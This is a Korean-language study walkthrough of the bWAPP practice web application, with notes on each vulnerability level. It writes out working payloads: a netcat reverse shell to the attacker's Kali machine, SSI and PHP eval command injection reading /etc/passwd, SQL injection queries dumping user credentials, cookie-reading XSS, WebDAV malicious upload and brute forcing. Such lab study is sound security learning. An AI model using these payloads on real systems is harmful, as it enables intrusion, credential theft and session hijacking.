HTML Injection

Reflected

  • 서버는 html 문서를 클라이언트에게 전달
  • 클라이언트는 html 문서안에 태그를 적용시켜서 출력
  • DB에 저장되지는 않는 경우
  • 같은 프록시 내의 사용자는 공격자의 변조한 사이트에 노출될 수 있음
    ※ 프록시 : 른 액세스나 안전한 통신 등을 확보하기 위한 클라이언트와 서버 사이의 중계 서버
        cf) https://engineer-mole.tistory.com/288 -> 프록시에 대한 설명

Get 방식

Level : low

  • 입력칸에 태그 넣기 또는 burp suite로 캡쳐하고 입력값 변조해서 forward -> url을 변조해서 입력해도 가능
    ex) <script>alert("test")</script> -> test를 출력하는구문, <script>alert(document.cookie)</script> -> 쿠키 값을 출력하는 구문, <img src=이미지링크> -> 이미지 삽입

Level : medium

  • <script>alert("test")</script> -> 시큐어 코딩으로 인해 문자열로 처리돼서 막힘
    url을 보면 /bWAPP/htmli_get.php이 실행된 것을 확인 가능
    security level에 따라 case 문이 실행되는데 security level은 burp suite로 캡쳐해서 확인해보면 1인 것을 확인 가능
    htmli_get.php 파일을 열어보면 인자가 어떤 함수에 의해서 처리된 것을 확인 가능
    함수가 정의된 파일에서 인자의 '<>'를 html 인코딩(&lt;, &gt;)시켜서 전달 -> 태그로 인식되지 않아서 문자열을 출력
    '<>' 을 url 인코딩 해서 삽입하면 공격 가능하다는 것을 의미 -> %3cscript%3ealert(%22test%22)%3c%2fscript%3e
    cf) https://ly.lv/65 -> html 인코딩에 대한 설명
    cf) https://www.convertstring.com/ko/EncodeDecode/UrlEncode -> url 인코딩 해주는 사이트

Level : high

  • security level이 3으로 2와는 다른 함수를 사용
    이 함수는 또 htmlspecialchars 함수를 사용하는데 웬만한 변환은 다 막음
    htmlspecialchars를 뚫으면 다시 공격 가능

Post 방식

  • get은 head에 인자가 들어감
  • post는 body에 인자가 들어감

Level : low

  • <script>alert("test")</script> 가능

Level : medium

  • 변환해서 %3cscript%3ealert(%22test%22)%3c%2fscript%3e로 하면 가능

Level : high

  • htmlspecialchars를 뚫으면 공격 가능

Stored

  • 게시글 작성과 같이 DB에 저장되는 경우

Level : low

  • <script>alert("test")</script> 가능

Level : medium

  • F12를 눌러보면 입력칸에 인자를 post 방식으로 전달할 때 htmli_stored.php가 실행됨
    htmli_stored.php를 살펴보면 db에 입력될 때는 security level case문이 있지만 레벨과 관련없이 같은 함수로 처리됨
    하지만 출력되는 html 구문을 살펴보면 security level에 따라 나눠서 출력함
    레벨 1, 2는 htmlspecialchars 함수로 처리되기 때문에 이를 뚫는 구문이 아닌 이상 공격 불가능

 

 

iframe Injection

  • iframe 태그는 lnline Frame의 약자로, 현재 브라우저 내에 렌더링되고 있는 문서 안에 또 다른 HTML 페이지를 삽입할 수 있도록 하는 기능을 제공
    cf) https://yeoulcoding.me/143 -> iframe 태그에 대한 설명

Level : low

  • URL을 통해 현재 페이지는 iframe 태그를 이용하여 robots.txt 파일을 삽입한 것이라는 것을 알 수 있음
    이를 html 구문으로 한다면 <iframe src="robots.txt" width="250" height="250" frameborder="0"></iframe> 로 유추 가능
    그렇다면 ParamUrl=에 다음과 같은 구문을 넣게 되면 
    robots.txt " width="250 height="250" frameborder="0"></iframe> <iframe src="https://192.168.50.15/bWAPP/htmli_get.php" width="250" height="250" frameborder="0"></iframe>
    추가적인 파일을 삽입 가능
    width와 height를 0으로 둔다면 사용자의 눈에는 보이지 않게 됨

Level : medium

  • security level이 1로 올라가게 되면 각 인자가 addslushes 함수에 입력되어 처리됨

Level : high

  • htmlspecialchars 함수로 처리

 

OS Command Injection

  • 웹 페이지의 입력 칸이 os 명령어를 쓰는 곳임을 유추하여 공격

Level : low

  • nslookup 기능이 os 명령어를 사용하는 것임을 유추
    |(이어쓰기)를 사용해서 명령어 삽입하여 확인 가능
    | pwd를 통해 실행되고 있는 페이지의 현재 위치를 확인 가능
    | ls ../../../를 통해 루트 디렉터리까지 조회 가능
  • 명령어가 정상적으로 동작한다면 netcat 을 사용하여 원격도 가능
    cf) https://cloud101.tistory.com/41 -> netcat에 대한 설명
    칼리에서 nc -l -p [port]
    bee box의 입력칸에 | nc [칼리ip] [port] -e /bin/bash 를 입력하여 칼리에서 ls, pwd 등의 명령어를 서버에 사용 가능

Level : medium

  • security level이 1로 올라가게 되면 인자가 escapeshellcmd 함수에 입력되어 처리됨

Level : high

  • |을 인자에서 제거시킴

Blind

  • 웹 사이트 내에서는 결과값이 출력되지 않지만 netcat을 수행했을 때 동작하는 것을 확인 가능

 

PHP Code Injection

  • url에 php 문법을 삽입

Level : low

  • 겉으로 보기에는 message안에 있는 인자를 출력하는 것으로 보임
    해당 파일을 살펴보면 @eval 함수를 사용
    @eval 함수는 인자들의 문자열을 합쳐 php로 실행
    ex) @eval('echo'.'$_POST['message']'.';');
    인자인 $_POST['message']에 추가적인 명령어를 넣으면 서버 정보를 추출 가능
    ex) any message;system('ls') 또는 netcat도 가능

Level : medium, Level : high

  • htmlspecialchars 함수로 처리

 

Server-Side Includes (SSI) Injection

  • SSI(Server-Side Includes)는 HTML 페이지의 전체 코드를 수정하지 않고 공통 모듈 파일로 관리하며 동적인 내용을 추가하기 위하여 만들어진 기능
  • 방문자 수를 세거나 홈페이지의 로고를 수정할 때 사용 SSI 지시어를 처리하기 위한 ‘.shtml’ 확장자 파일을 생성
  • HTML의 주석과 비슷한 형태로 SSI 기능을 사용하지 않는 경우 웹 브라우저는 SSI 지시어를 주석으로 처리

Level : low

  • 입력받은 인자를 새로운 페이지에 출력하는 것을 확인
    새로운 페이지의 확장자는 .shtml인 것을 확인
    php 파일을 확인해봤을 때
    <!--#echo var="REMOTE_ADDR" -->
    문법을 사용하는 것을 확인
    #뒤에 echo 대신 eval과 같은 exec cmd를 삽입 가능
    @eval = exec cmd
    <!--#exec cmd="cat /etc/passwd" -->
    를 통해 os 명령어를 입력 가능

 

SQL Injection

  • 악의적인 query 문을 삽입하여 오작동을 일으키는 공격 기법

Get / Search & Post / Search

Level : low

  • 웹 페이지를 확인해보면 DB에서 쿼리문을 사용해 조회한다는 것을 유추 가능
    여기서 사용할 php 문법을 유추해보자면 다음과 같음
    $var = $_POST['title']
    $sql = 'SELECT title, release, character, genre, imdb FROM db WHERE title LIKE %"$var"%;'
    또는
    $sql = "SELECT title, release, character, genre, imdb FROM db WHERE title LIKE %'$var'%;"
    mysqli_query($con, $sql)
    여기서 '과 "를 판단하기 위해서 다음 구문을 삽입하여 오작동을 일으키는 구문으로 추가 공격이 가능
    " or 1=1; #
    ' or 1=1; #
    #은 해당 php 구문에서 뭔지 모를 뒤의 명령어를 무시하기 위해 주석처리
    '에서 오류가 나기 때문에 다음과 같은 구문을 추가해 출력된 결과물에서 열 개수 및 순서를 파악 가능
    ' UNION SELECT ALL 1,2,3,4,5,6,7; #
    여기서 1,2,3,4 대신 다른 함수를 통해 DB 정보를 얻을 수 있음
    ' UNION SELECT ALL 1,@@version,database(),user(),@@datadir,6,7; #
    information_schema를 이용하면 더 많은 데이터를 얻을 수 있음
    ' UNION SELECT ALL 1,table_name,3,4,5,6,7 from information_schema.tables; #
    -> 테이블 이름 알아내기
    ' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'users'; #
    -> 알아낸 테이블 이름으로 칼럼 이름 알아내기
    ' UNION SELECT ALL 1,concat(id,login), password, email, secret,6,7 from users; #
    -> 알아낸 칼럼이름으로 id, passwd 등 개인 정보 알아내기
    암호화 된 데이터는 kali에서 hash-identifier로 알고리즘을 알아내고 복호화 가능
    cf) https://10015.io/tools/sha1-encrypt-decrypt#google_vignette -> 암호화 복호화 사이트

Get / Select & Post / Select

Level : low

  • 콤보 박스 내의 데이터를 입력했을 때, url에서 moive의 입력값으로 번호가 바뀌는 것을 확인
    select title, release, character, genre, imdb from db where movie = '{}' limit 1; 정도로 sql 구문 유추 가능
    정수이기 때문에 or 1=1; #을 입력
    하지만 limit이 걸려있기 때문에 결과는 변하지 않음
    or 1=1 뒤에 limit3,1; #을 추가해서 잘린 데이터를 추가로 확인 가능

Sqlmap

cf) https://jaeseokim.tistory.com/21 -> sqlmap에 대한 설명

Ajax/Json/Query

Level : low

  • 입력칸에 아무 알파벳이나 입력하면 실시간으로 테이블이 변경되는 것을 확인 가능
    여기서 ajax를 사용했음을 유추 가능
    공격 구문은 동일

Stored(Blog)

Level : low

  • 입력칸에 입력한 내용이 db에 저장되는 방식
    쿼리문은 insert into db values(); 정도로 유추 가능
    '를 넣었을 때 오류가 발생되고 뒷 내용이 남아있는 것을 확인 가능 -> 코드에서 '를 사용하고 있고 뒷 내용이 owner로 나오는 것을 유추 가능
    d', database()); # 를 입력해 owner에 database()가 들어간 것을 확인
    d', (select all table_name from information_schema.tables limit 20,1));# 에서 users table이 있는 것을 확인
    d', (select all column_name from information_schema.columns where table_name = "users" limit 0,1)); # 에서 column 명 확인
    d', (select all concat(id, login, password) from users limit 0,1)); # 으로 사용자 정보 획득 가능

Blind - Boolean-Based

Level : low

  • ' or 1=1; # 삽입했을 때 동작하는 것을 확인 가능
    ' or 1=1 and substr((select table_name from information_schema.tables limit 0,1), 1, 1) = "A"; #으로 테이블 명 확인
    ' or 1=1 and substr((select column_name from information_schema.columns where table_name = "" limit 0,1), 1, 1) = "A"; #로 칼럼 명 확인
    ' or 1=1 and substr(title, 1, 1) = "A"; #와 같은 구문을 넣어서 DB안에 있는 데이터를 하나씩 확인 가능
    ' or 1=1 and substr((select title from movies limit 1,1), 1, 1) = "c"; #으로 두 번째 데이터 확인
    length()으로 길이도 확인 가능

Blind - Time-Based

Level : low

  • ' or 1=1; # 을 넣거나 다른 구문을 넣어도 결과를 확인 불가능
    ' or 1=1 and sleep(2); #으로 조건이 참일 때 대기하도록 확인해서 구문이 맞는지 확인 가능

Blind(WS/SOAP)

Level : low

  • ' or 'a'='a

 

XML/XPath Injection

Login From

Level : low

  • xmli_1.php 파일 확인
    ' or 1=1 or ' -> 파일 내의 문법 상 해당 구문이 동작할거 같음 -> 결과에서 neo라는 계정이 있는것을 확인
    neo' and count(../child::*)=6 or 'a'='a -> xml 파일의 계정 개수 확인
    neo' and string-length(name(parent::*))=6 or 'a'='a -> 부모의 문구 길이 확인
    neo' and substring(name(parent::*),1,1)='h' or 'a'='a -> 첫번째 글자 확인
    neo' and string-length(name(../child::*[position()=1]))=4 or 'a'='a -> hero 글자 수 확인
    또는
    neo' and string-length(name(/heroes/child::*[position()=1]))=4 or 'a'='a
    neo' and string-length(name(.))=4 or 'a'='a
    neo' and substring (name(../child::*[position()=1]),1,1)= 'h' or 'a'='a -> 첫번째 글자 확인

Search

Level : low

  • xmli_2.php 파일 확인
    ')] | //* | a[(' -> |은 xml에서 or와 같음

 

Broken Auth

Insecure Login Forms

Level : low

  • 해당 form을 드래그 해보면 login과 password가 나옴

Level : medium

  • F12를 열어 확인해보면 버튼을 눌렀을 때 unlock_secret()이 실행되는 것을 확인 가능
    ctrl + f를 눌러 unlock_secret() 함수를 검색
    나오는 스크립트를 console에 복붙해서 실행하여 암호 획득

Password Attacks

Level : low

  • 버튼 눌렀을 때 burp suite로 캡쳐
    send to intruder
    intruder-positions에서 로그인 위치와 패스워드 위치에 add 클릭
    intruder-payloads에서 type을 brute forcer로 선택하고 길이 선택하고 start attack
    무차별 대입 공격하는 것 확인

Weak Attacks

Level : low

 

Session Mgmt.

세션 : 웹 사이트에서 서비스를 제공할 때 사용자의 로그인을 유지하기 위하여 사용

Administrative Portals

Level : low

  • url에서 admin=0을 1로 바꾸면 될거 같음

Level : medium

  • burp suite로 캡쳐해서 admin=0을 1로 변경

Level : high

  • 다른 브라우저에서 관리자의 세션을 가져와 테스트 계정에서 할때 세션 변조

Session ID in URL

  • 세션 하이재킹

 

XSS(Cross Site Scripting)

Reflected(GET) / Reflected(POST)

Level : low

  • <script>alert('test')</script>
    <script>document.write(document.cookie)</script>

Reflected(AJAX/JSON)

Level : low

  • F12로 확인하면 main>script에 xss_ajax_2-2.php에 title을 삽입하는 것을 확인
    xss_ajax_2-2.php?title=<script>alert(document.cookie)</script>로 쿠키값 확인 가능

Reflected(Custom Header)

Level : low

  • bWAPP header를 사용한다는 것을 확인 가능
    burp suite로 캡쳐해서 bWAPP:<script>alert(document.cookie)</script>를 삽입해서 forward하면 출력됨

Reflected(HREF)

Level : low

  • url에 name=user onmouseover=alert(document.cookie) a를 삽입해서 vote위에 마우스를 올릴 때 쿠키값 출력

Stored(Blog)

Level : low

  • <script>alert(1)</script>

Stored(Change secret)

Level : low

  • <script>alert(1)</script>을 입력하면
    injection login form/user에서 로그인할 때마다 alert가 실행됨

Stored(User-Agent)

Level : low

  • 새로 고침하면 user-agent 정보가 출력되는 것을 확인
    burp suite로 캡쳐해서 user-agent 부분에 <script>alert(document.cookie)</script>를 삽입

 

Insecure DOR

Change secret

Level : low

  • burp suite으로 캡쳐하면 login 정보를 획득 가능
    여기에 sql injection으로 얻은 또 다른 login 정보를 입력하면 다른 계정의 secret을 변조 가능

Reset secret

Level : low

  • burp suite로 버튼 클릭했을 때를 캡쳐하면 secret이 초기화 되는 부분이 확인 가능
    해당 부분을 수정해서 변조

Order Tickets

Level : low

  • burp suite로 버튼 클릭했을 때를 캡쳐하면 매개변수가 넘어가는 부분을 확인 가능
    해당 부분을 수정해서 변조

Level : medium

  • low에서 확인 변수명으로 가격 변조 가능

 

Insecure WebDAV Configuration

Level : low

  • WebDAV를 클릭해서 폴더 내의 파일들 확인
    burp suite로 캡쳐해서 GET을 PUT으로 만들고 악성파일 생성 가능
    kali에서 cadaver를 사용해서도 가능
    cadaver web url
    help -> 사용 가능한 명령어 확인
    put 파일명 -> 파일 업로드

 

Base64 Encoding

Level : low

  • burp suite으로 캡쳐해서 디코딩하면 끝

 

HTML5 Web Storage(Secret)

  • F12 눌러서 script 확인하면 localstorage에 정보가 저장되는 것 확인 가능
    스크립트 입력 가능한 곳에
    <script>
    for (var key in localStorage)
    {
     document.write(key + ":" + localStorage[key] + "<br>");
    }
    </script>
    입력해서 정보 확인 가능

Text Files(Accounts)

Level : low

  • 다운로드해서 계정 정보 확인 가능

Level : medium

  • 암호가 암호화 되는 것을 확인 가능 (SHA1)

Level : high

  • SHA256으로 암호화 되는 것 확인 가능
    kail에서 john the ripper사용 -> 오래 걸림